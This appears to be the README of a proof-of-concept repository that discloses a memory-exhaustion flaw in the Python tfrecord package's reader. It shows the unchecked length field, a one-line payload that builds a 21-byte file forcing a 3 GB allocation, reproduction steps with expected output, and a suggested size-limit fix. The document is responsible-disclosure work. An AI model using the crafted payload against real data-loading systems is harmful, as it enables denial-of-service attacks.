tfrecord-length-bomb-poc

tfrecord — Length Field Decompression Bomb (PoC)

Repo: MBM7/tfrecord-length-bomb-poc
Status: Responsible disclosure — submitted to Huntr
Severity: High / CWE-789
Package: tfrecord (PyPI) — pure Python TFRecords reader

---

Summary

A 21-byte crafted .tfrecord file causes tfrecord_loader() to allocate 3 GB of memory before failing — the highest amplification ratio of any known finding in this class.

---

Root Cause

tfrecord/reader.py, read_records(), line 79:

(length,) = struct.unpack("<Q", length_bytes)   # ← from file, NO check

if length > len(datum_bytes):
    datum_bytes = datum_bytes.zfill(int(length * 1.5))  # ← 3 GB allocated HERE

datum_bytes_view = memoryview(datum_bytes)[:length]
if file.readinto(datum_bytes_view) != length:
    raise RuntimeError("Failed to read the record.")  # fails AFTER allocation

length is read as uint64 LE from the TFRecord binary header with no upper bound check. bytearray.zfill() allocates length × 1.5 bytes before any I/O attempt.

---

Attack

TFRecord binary format:

[uint64 length LE][uint32 CRC32][data bytes][uint32 CRC32]

Setting length = 2_000_000_000 in the 8-byte header produces a 21-byte total payload triggering 3 GB allocation:

payload = struct.pack("<Q", 2_000_000_000) + b"\x00"*4 + b"hello" + b"\x00"*4
# 8 + 4 + 5 + 4 = 21 bytes → 3,000,000,000 bytes allocated

---

Reproduce

pip install tfrecord
python poc_tfrecord_length_bomb.py

Expected:

File size         : 21 bytes
Claimed length    : 2,000,000,000 bytes
Expected alloc    : 3,000,000,000 bytes  (length × 1.5)
Amplification     : 1:142,857,142
Peak memory       : 3001 MB  ← allocated before read

---

Suggested Fix

MAX_RECORD_BYTES = 256 * 1024 * 1024  # configurable
(length,) = struct.unpack("<Q", length_bytes)
if length > MAX_RECORD_BYTES:
    raise ValueError(f"Record length {length} exceeds safety limit")

---

Environment